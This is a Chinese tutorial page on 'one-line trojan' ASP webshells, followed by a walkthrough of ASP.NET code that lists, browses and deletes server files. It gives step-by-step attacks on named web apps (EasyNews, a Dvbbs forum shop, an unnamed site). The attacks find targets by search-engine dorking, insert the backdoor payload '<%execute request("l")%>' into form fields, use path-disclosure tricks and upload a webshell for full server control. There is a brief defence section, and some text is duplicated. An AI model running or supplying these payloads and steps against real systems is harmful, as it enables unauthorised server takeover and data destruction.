当前位置:文档之家› 一句话木马的使用

一句话木马的使用

一句话木马的使用
实例一:“一句话木马”入侵“EASYNEWS新闻管理系统”
“EASYNEWS新闻管理系统 v1.01 正式版”是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器。
Step1 搜索入侵目标
使用了“EASYNEWS新闻管理系统 v1.01 正式版”的网站,在网站页面的底部版权声明处,往往会有关键字符为“https://www.doczj.com/doc/676234670.html, 版权所有”。只要在GOOGLE或百度中以该字符串为关键词进行搜索,就可以找到大量的入侵目标。
Step2 检测入侵条件
在这里,我们以网站“https://www.doczj.com/doc/676234670.html,/news/index.htm”为例进行一次入侵检测。“EASYNEWS新闻管理系统”网站的留言本数据库文件默认是位于“\ebook\db\ebook.asp”,首先在浏览器地址栏中输入“https://www.doczj.com/doc/676234670.html,/news/ebook/db/ebook.asp”,回车后在浏览器页面中将显示访问留言本数据库文件的返回信息。如果在页面中显示乱码,则说明该网站的留言本数据库文件没有改名,可以进行入侵。
Step3 在数据库中插入ASP后门
前面提到了该新闻系统的留言本插件存在过滤不严,因此我们可以通过提交发言,在数据库中插入“一句话木马”服务端代码:
在浏览器中访问“https://www.doczj.com/doc/676234670.html,/news/khly.htm”,打开提交留言页面。在提交页面中的“主页”栏中,直接填写“一句话木马”服务端代码,其它随便填写。确定后点击“发表留言”按钮,文章发表成功后,即可将“一句话木马”服务端代码插入到留言本数据库中了。
Step4 连接后门上传Webshell
由于留言本数据库文件“ebook.asp”是一个ASP文件,所以我们插入到数据库文件中的ASP语句将会被执行。将“一句话木马”客户端中的提交地址改为留言本数据库文件地址,然后用浏览器打开客户端,在上方的输入框中输入上传ASP木马的保存路径,在下面的输入框中可以粘贴入其它的ASP木马代码,这里选择的是桂林老兵网站管理助手ASP代码。点击提交按钮后,刚才粘贴的ASP木马将被写入到论坛服务器中保存。
Step5 打开WEBSHELL
上传的ASP木马被保存到与数据库文件同一WEB目录下,文件名为“temp.asp”,因此我们在IE浏览器中打开页面“https://www.doczj.com/doc/676234670.html,/news/ebook/db/temp.asp”,输入默认的密码“https://www.doczj.com/doc/676234670.html,”,就可以看到一个WEBSHELL了。
在Webshell中可以上传其它的文件或者安装木马后门、执行各种命令等,网站的服务器已经掌握在我们的手中,可以为所欲为了。
实例二 “社区超市”入侵动网论坛
Step1 检测入侵条件

入侵论坛“https://www.doczj.com/doc/676234670.html,/”为例。首先在浏览器地址栏中输入“https://www.doczj.com/doc/676234670.html,/data/shop.asp”,回车后在浏览器页面中将显示访问"shop.asp"文件的返回信息。说明该论坛的社区超市数据库文件没有改名或删除,可以进行入侵。
Step2 在数据库中插入ASP后门
登录论坛后,点击页面中的“娱乐”→“社区超市”,打开社区超市页面。在该页面中选择商店申请,打开“商店申请入驻”页面“https://www.doczj.com/doc/676234670.html,/z_shop_newshop.asp”,在页面中填写任意信息,注意在“商店招牌”栏中,添加刚才的ASP代码"〈%execute request("l")%〉"。确定后点击“申请”按钮进行提交,即可将ASP代码保存在数据库文件中了。
后面的步骤就与上面介绍的一样了,只需要用蓝屏木马连接数据库文件“https://www.doczj.com/doc/676234670.html,/data/shop.asp”,然后上传WEBSHELL就可以控制论坛服务器了。
实例三 “一句话木马”入侵未知网站
从上面的两个例子,我们可以看出利用“一句话木马”入侵控制存在数据库过滤不严漏洞的网站,成功的前提是一定要知道网站的数据库地址。对于一些使用了未知网页程序的网站,我们如何才能找到它的数据库地址呢?这就要结合暴库或者跨站之类的方法了,下面只是结合一个简单的暴库,介绍一下利用一句话木马入侵未知网站的方法。
Step1 暴库得到数据库路径
以“https://www.doczj.com/doc/676234670.html,”为例。在浏览器中打开“https://www.doczj.com/doc/676234670.html,/join/listall.asp?bid=2”,将地址栏中join后的/改为%5c,在提交后的返回返回信息中可以看到网站数据库地址:“’d:\wwwroot\shuilong\wwwroot\admin\adshuilonG!#).asp’”,数据库文件名中加入了“#”符号,“#”符号在IE中执行时被解释为中断符,要访问该数据库文件则必须将“#”号变为“23%”才可以。因此数据库文件的实际WEB地址为“https://www.doczj.com/doc/676234670.html,/join/admin/adshuilonG!%23).asp”
Step2 注册网站,插入“一句话木马”
由于数据库文件是ASP文件格式的,满足入侵条件,因此现在我们需要将“一句话木马”插入到数据库文件中去。
在网页上点击注册网站按钮,打开注册链接“https://www.doczj.com/doc/676234670.html,/join/add.asp?action=step3&bid=3”,在资料填写页面处的站点名称或地址中写入“一句话木马”服务端代码,其它随便填写。然后点击完成按钮提交数据,木马服务端就被插入到数据库文件中了。
最后只需要用蓝屏木马连接数据库文件“https://www.doczj.com/doc/676234670.html,/join/admin/adshuilonG!%23).asp”,然后上传ASP木马就可以控制该网站的服务器了。
“一句话木马”的防范
要防范“一句话木马”可以从两方面进行,首先是要隐藏网站的数据库,不要让攻击者知道

数据库文件的链接地址。这就需要管理员在网页程序中查被暴库漏洞,在数据库连接文件中加入容错代码等,具体的防暴库方法在这里就不作过多的讲解了。
其次就是要防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等。例如中国站长联盟网站在出现该漏洞后已经对网页程序进行的修补,插入的ASP代码中的〈、〉和"等字符会被网页程序转换成其它字符,致使服务端代码无法正常执行。
只要作好这两方面的安全工作,“一句话木马”虽然无孔不入,但是面对这样的网站系统也是无可奈何的了。

关于https://www.doczj.com/doc/676234670.html,服务器的入侵方法

有个朋友在QQ上问了我关于https://www.doczj.com/doc/676234670.html,服务器的入侵方法我将https://www.doczj.com/doc/676234670.html,上的一些入侵常用手段告诉大家
1.ASP中常用的标准组件:FileSystemObject,这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何有权限的目录和文件进行读写、删除、改名等操作。FSO对象来自微软提供的脚本运行库scrrun.dll中。使用下面的代码就可以在ASP中创建一个FSO对象:Set fso = CreateObject("Scripting.FileSystemObject")我们使用fso对象包含的属性和方法,如Drive、Drives、Folder、Floders、File、Files等对服务器的磁盘、目录和文件进行读、写、删除等操作。这一强大的文件系统访问能力给ASP共享空间提供者带来了严重的安全问题,很多ASP空间的管理员都删除此组件或将这个组件改名以避免用户使用这一标准组件。删除组件或组件改名确实是一个简单的方法并且也很有效,但是却使广大用户无法使用它的强大的功能。网络上还有一种看起来很美的方案,它允许用户使用 FileSystemObject 组件又不影响服务器的安全,即对每一个用户都设置一个独立的服务器用户和单个目录的操作权限。但是这种方法是有问题的。因为ASP和https://www.doczj.com/doc/676234670.html,中在这方面的问题十分类似,所以我们将在https://www.doczj.com/doc/676234670.html,的相应解决办法部分详加说明。在https://www.doczj.com/doc/676234670.html,中我们发现这一问题仍然存在,并且变得更加难以解决。这是因为.NET中关于系统IO操作的功能变得更加强大,而使这一问题更严重的是https://www.doczj.com/doc/676234670.html,所具有的一项新功能,这就组件不需要象ASP那样必须要使用regsvr32来注册了,只需将Dll类库文件上传到bin目录下就可以直接使用了。这一功能确实给开发https://www.doczj.com/doc/676234670.html,带来了很大的方便,但是却使我们在ASP中将此dll删除或者改名的解决方法失去效用了,防范此问题就变得更加复杂。在讨论解决方案之前,我们先来看一下怎么来实现上述的危险的功能
2.文件系统
我们还要使用System.IO名称空间的其他几个类是:
System.IO.Directory:提供用于创建、移动和枚举通过目录和子目录的

静态方法的类
System.IO.File:提供用于创建、复制、删除、移动和打开文件的静态方法的类
System.IO.FileInfo:提供创建、复制、删除、移动和打开文件的实例方法的类
System.IO.StreamReader:实现一个 TextReader,使其以一种特定的编码从字节流中读取字符。
每个我们所使用的类的属性和方法的具体用法我们将以代码注释的方式在程序中加以说明。
System.IO名称空间在 .NET FRAMEWORK提供的mscorlib.dll中,在使用https://www.doczj.com/doc/676234670.html,编程之前需要将此Dll引用到此项目中。
我们所编写的程序都使用了Codebehind方式,即每一个aspx程序都有一个对应的aspx.cs程序,aspx程序中只是写与页面显示相关的代码,所有逻辑实现的代码都放在相应的aspx.cs文件中,这样就可以更好得做到显示与逻辑的分离。由于我们的目的不是讨论Codebehind技术,所以就不在对此多加讨论了。
在这篇文章里,我们只介绍几个主要的类及其关键方法的用法,详细程序请查看附带的源代码。
程序一:显示服务器的当前信息和全部逻辑驱动器的名称的程序listdrivers.aspx
主要方法1:我们使用 GetSysInf() 方法来得到服务器的当前环境和平台的信息
//获取系统信息的方法,此方法在listdrivers.aspx.cs文件中
public void GetSysInf () {
//获取操作系统类型
qDrives = Environment.OSVersion.ToString();
//获取系统文件夹
qSystemDir = Environment.SystemDirectory.ToString();
/*获取映射到进程上下文的物理内存量,通过这一内存映射量可以了解https://www.doczj.com/doc/676234670.html,程序在运行时需要多少系统物理内存,有助于更好的规划我们的整个应用,因为物理内存量是以Byte为单位的,所以我们将此数值除以1024,可以得到单位为KB的物理内存量*/
qMo = (Environment.WorkingSet/1024).ToString();
//获取当前目录(即该进程从中启动的目录)的完全限定路径
qCurDir = Environment.CurrentDirectory.ToString();
//获取主机的网
络域名
qDomName = https://www.doczj.com/doc/676234670.html,erDomainName.ToString();
//获取系统启动后经过的毫秒数
qTick = Environment.TickCount;
//计算得到系统启动后经过的分钟数
qTick /= 60000;
//获取机器名
qMachine = Environment.MachineName;
//获取运行当前进程的用户名
qUser = https://www.doczj.com/doc/676234670.html,erName;
/*检索此计算机上格式为"<驱动器号>:\"的逻辑驱动器的名称,返回字符串数组,这是下一步操作的关键所在*/
achDrives = Directory.GetLogicalDrives();
//获取此字符串数组的维数,确定有多少个逻辑驱动器
nNumOfDrives = achDrives.Length;
} 系统信息不需要进行操作,我们简单的用asp:Label将他们显示出来就行了。逻辑驱动器的个数在不同的服务器上是不定的,所以用不定长数组保存逻辑驱动器的名称,而且逻辑驱动器的名称也是我们下一步浏览目录和文

件的基础,故我们采用了数据网格DataGrid来显示和处理它。显示和处理逻辑驱动器名称的DataGrid的代码(代码在listdrivers.aspx文件):
<asp:DataGrid id="DriversGrid" runat="server" AutoGenerateColumns="false">
<Columns>
<asp:BoundColumn HeaderText="ID" DataField="ID" />
<asp:BoundColumn HeaderText="磁盘名" DataField="Drivers" />
<asp:HyperLinkColumn
HeaderText="详细信息"
DataNavigateUrlField="Drivers" DataNavigateUrlFormatString="listdir.aspx?dir={0}"
DataTextField="Detail"
Target="_new" />
</Columns>
</asp:DataGrid> 前两个BoundColumn列都是显示序号和实际逻辑驱动器名称的,需要说明的是第三列,我们在进入各个逻辑驱动器显示目录和文件之前需要将所选择的逻辑驱动器的名称传递到显示目录的文件去,所以需要一个特殊的超级链接行HyperLinkColumn,我们将DataNavigateUrlField设置为数据源中要绑定到 HyperLinkColumn 中的超级链接的 URL 的字段,在此即逻辑驱动器名称。然后将DataNavigateUrlFormatString设置为当 URL 数据绑定到数据源中的字段时,此HyperLinkColumn中的超级链接的 URL 的显示格式,即要链接到的下一级处理页面,在此为listdir.aspx?dir={用户点击行的逻辑驱动器名称}
1.ASP中常用的标准组件:FileSystemObject,这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何有权限的目录和文件进行读写、删除、改名等操作。FSO对象来自微软提供的脚本运行库scrrun.dll中。使用下面的代码就可以在ASP中创建一个FSO对象:Set fso = CreateObject("Scripting.FileSystemObject")我们使用fso对象包含的属性和方法,如Drive、Drives、Folder、Floders、File、Files等对服务器的磁盘、目录和文件进行读、写、删除等操作。这一强大的文件系统访问能力给ASP共享空间提供者带来了严重的安全问题,很多ASP空间的管理员都删除此组件或将这个组件改名以避免用户使用这一标准组件。删除组件或组件改名确实是一个简单的方法并且也很有效,但是却使广大用户无法使用它的强大的功能。网络上还有一种看起来很美的方案,它允许用户使用 FileSystemObject 组件又不影响服务器的安全,即对每一个用户都设置一个独立的服务器用户和单个目录的操作权限。但是这种方法是有问题的。因为ASP和https://www.doczj.com/doc/676234670.html,中在这方面的问题十分类似,所以我们将在https://www.doczj.com/doc/676234670.html,的相应解决办法部分详加说明。在https://www.doczj.com/doc/676234670.html,中我们发现这一问题仍然存在,并且变得更加难以解决。这是因为.NET中关于系统IO操作的功能变得更加强大,而使这一问题更严重的是https://www.doczj.com/doc/676234670.html,所具有的一项新功能,这就组件不需要象ASP那样必须要使用regsvr32来注册了,只需将Dll类库文件上传到bin目录下就可以直接使

用了。这一功能确实给开发https://www.doczj.com/doc/676234670.html,带来了很大的方便,但是却使我们在ASP中将此dll删除或者改名的解决方法失去效用了,防范此问题就变得更加复杂。在讨论解决方案之前,我们先来看一下怎么来实现上述的危险的功能
2.文件系统
我们还要使用System.IO名称空间的其他几个类是:
System.IO.Directory:提供用于创建、移动和枚举通过目录和子目录的静态方法的类
System.IO.File:提供用于创建、复制、删除、移动和打开文件的静态方法的类
System.IO.FileInfo:提供创建、复制、删除、移动和打开文件的实例方法的类
System.IO.StreamReader:实现一个 TextReader,使其以一种特定的编码从字节流中读取字符。
每个我们所使用的类的属性和方法的具体用法我们将以代码注释的方式在程序中加以说明。
System.IO名称空间在 .NET FRAMEWORK提供的mscorlib.dll中,在使用https://www.doczj.com/doc/676234670.html,编程之前需要将此Dll引用到此项目中。
我们所编写的程序都使用了Codebehind方式,即每一个aspx程序都有一个对应的aspx.cs程序,aspx程序中只是写与页面显示相关的代码,所有逻辑实现的代码都放在相应的aspx.cs文件中,这样就可以更好得做到显示与逻辑的分离。由于我们的目的不是讨论Codebehind技术,所以就不在对此多加讨论了。
在这篇文章里,我们只介绍几个主要的类及其关键方法的用法,详细程序请查看附带的源代码。
程序一:显示服务器的当前信息和全部逻辑驱动器的名称的程序listdrivers.aspx
主要方法1:我们使用 GetSysInf() 方法来得到服务器的当前环境和平台的信息
//获取系统信息的方法,此方法在listdrivers.aspx.cs文件中
public void GetSysInf () {
//获取操作系统类型
qDrives = Environment.OSVersion.ToString();
//获取系统文件夹
qSystemDir = Environment.SystemDirectory.ToString();
/*获取映射到进程上下文的物理内存量,通过这一内存映射量可以了解https://www.doczj.com/doc/676234670.html,程序在运行时需要多少系统物理内存,有助于更好的规划我们的整个应用,因为物理内存量是以Byte为单位的,所以我们将此数值除以1024,可以得到单位为KB的物理内存量*/
qMo = (Environment.WorkingSet/1024).ToString();
//获取当前目录(即该进程从中启动的目录)的完全限定路径
qCurDir = Environment.CurrentDirectory.ToString();
//获取主机的网
tail"
HeaderText="详细信息"
Target="_new"
/>
在两个DataGrid(DirGrid,FileGrid)中我们分别设置了两个HyperLinkColumn列来导航到不同的处理页面。
在两个DataGrid中我们都使用了一个删除的按钮列:
<asp:ButtonColumn HeaderText="删除"
Text="删除"
CommandName="Delete"
/>
由于添加、更新、删除功能列都是DataGrid的默认模板列,所以可以在https://www.doczj.com/doc/676234670.html,中通过DataGrid的属性生

成器自动添加此列。
获取上一页面所传递来的参数的代码:
因为在下面产生数据源的方法中需要使用由上一个页面传递过来的参数来确定目录和文件的名称,所以在页面的Page_Load方法里使用了下列代码:
strDir2List = Request.QueryString["dir"];
字符串strDir2List即传过来的目录名或文件名。
因为我们使用了两个DateGrid,就需要进行两次数据绑定,就有两个不同的生成数据源的方法。
生成目录数据网格(DirGrid)数据源的方法:
//通过此方法返回一个集合形式的数据视图DataView,用来初始化子目录的DataGrid
ICollection CreateDataSourceDir() {
dtDir = new DataTable();
DataRow dr;
//向DataTable中添加新的数据列,共四列
dtDir.Columns.Add(new DataColumn("DirID", typeof(Int32)));
dtDir.Columns.Add(new DataColumn("DirName", typeof(string)));
dtDir.Columns.Add(new DataColumn("DelDir", typeof(string)));
dtDir.Columns.Add(new DataColumn("DirDetail", typeof(string)));
//根据传入的参数(目录名)得到此目录下所有子目录名的字符串数组
string [] DirEntries = Directory.GetDirectories(strDir2List);
//使用foreach循环可以对未知长度的数组进行遍历循环
foreach(string DirName in DirEntries){
dr = dtDir.NewRow();
dr[0] = i;//序号
dr[1] = DirName;//文件夹名称
dr[3] = "删除";
dr[3] = "查看详情";
dtDir.Rows.Add(dr);
i++;
}
DataView dvDir = new DataView(dtDir);
//返回得到的数据视图
return dvDir;
}
生成文件数据网格(FileGrid)数据源的方法:
//通过此方法返回一个集合形式的数据视图DataView,用来初始化文件的DataGrid
ICollection CreateDataSourceFile() {
dtFile = new DataTable();
DataRow dr;
dtFile.Columns.Add(new DataColumn("FileID", typeof(Int32)));
dtFile.Columns.Add(new DataColumn("FileName", typeof(string)));
dtFile.Columns.Add(new DataColumn("DelFile", typeof(string)));
dtFile.Columns.Add(new DataColumn("FileDetail", typeof(string)));
//根据传入的参数(目录名)得到此目录下所有文件名的字符串数组
string [] FileEntries = Directory.GetFiles(strDir2List);
foreach(string FileName in FileEntries){
dr = dtFile.NewRow();
dr[0] = i;
dr[1] = FileName;
dr[2] = "删除";
dr[3] = "查看详情";
dtFile.Rows.Add(dr);
i++;
}
dvFile = new DataView(dtFile);
return dvFile;
}
我们编程实现了两个DataSource只需在页面的Page_Load方法里对两个DataGrid进行数据绑定即可将得到的DataTable中的数据显示在aspx页面的DataGrid上。
数据绑定代码://对子目录数据列表DirGrid进行数据源定义和数据绑定
DirGrid.DataSource = CreateDataSourceDir();
DirGrid.DataBind();
//对文件数据列表FileGrid进行数据源定义和数据绑定
FileGrid.DataSource = CreateDataSourceFile();
FileGrid.DataBind();
通过我们上边介绍的主要方法,我们实现了对某个逻辑驱动器或目录中

的所有子目录和文件进行了列表显示,并且可以根据显示结果更进一步的浏览子目录或者查看文件的属性和内容提要。浏览子目录仍然是通过listdir.aspx这个程序,没有任何子目录级别要求,没有目录深度限制。
删除子目录和文件的主要方法和代码:
在删除子目录时,我们需要用到Directory.Delete (string,bool)方法,此方法有两种:
1.public static void Delete(string);
从指定路径删除空目录。
2.public static void Delete(string, boolean);
删除指定的目录并(如果指示)删除该目录中的任何子目录,将boolean设置为true的话,则删除此目录下的所有子目录和文件,否则将boolean设置为false。
在这里我们使用了第二种方法,如果选择删除的话,将删除此目录下的所有子目录和文件。
注意:Directory 类的所有方法都是静态的,因而无需具有目录Directory的实例就可被调用。
/*实现删除子目录的方法,此方法为https://www.doczj.com/doc/676234670.html,自动添加,注意DataGridCommandEventArgs e为DirGrid中 CommandName="Delete" 的ButtonColumn的事件,通过此事件,我们可以得到是那一行的ButtonColumn按钮列被点击,进而确定我们需要删除的子目录的名称*/
private void DirGrid_DeleteCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e){
/*定义一个单元格,e.Item为此事件所发生行的所有项目,e.Item.Cells[1]为整个行的第二个单元格的内容,在此DataGrid中为子目录的名称
*/
TableCell ItemCell = e.Item.Cells[1];
//得到此子目录的名称的字符串
string item = ItemCell.Text;
//删除此子目录
Directory.Delete(item,true);
//删除后进行数据绑定以更新数据列表
DirGrid.DataBind();
}
在删除文件时,我们需要用到File.Delete(string path);
注意:File 类的所有方法都是静态的,因而无需具有目录的实例就可被调用。
private void FileGrid_DeleteCommand(object source,
System.Web.UI.WebControls.DataGridCommandEventArgs e) {
TableCell ItemCell = e.Item.Cells[1];
//得到此文件名称的字符串
string item = ItemCell.Text;
//删除此文件
File.Delete(item);
//删除后进行数据绑定以更新数据列表
DirGrid.DataBind();
}
通过上边的主要方法我们在页面上实现了一个删除某一个子目录或者文件的功能,此功能在测试时需要慎重使用,一旦删除无法通过常规方法恢复。其他如目录或文件改名、修改内容等方法都可以在此程序基础上添加相应的功能,实现方法也很简单。各位爱好者可以通过添加相应功能,使之扩充为一个基于Web的服务器文件管理系统。我们也可以由此看到这个程序的危害性,一个没有对此安全隐患采取防范措施的服务器的文件系统就都暴露在了使用此程序的用户面前。

相关主题
文本预览
相关文档 最新文档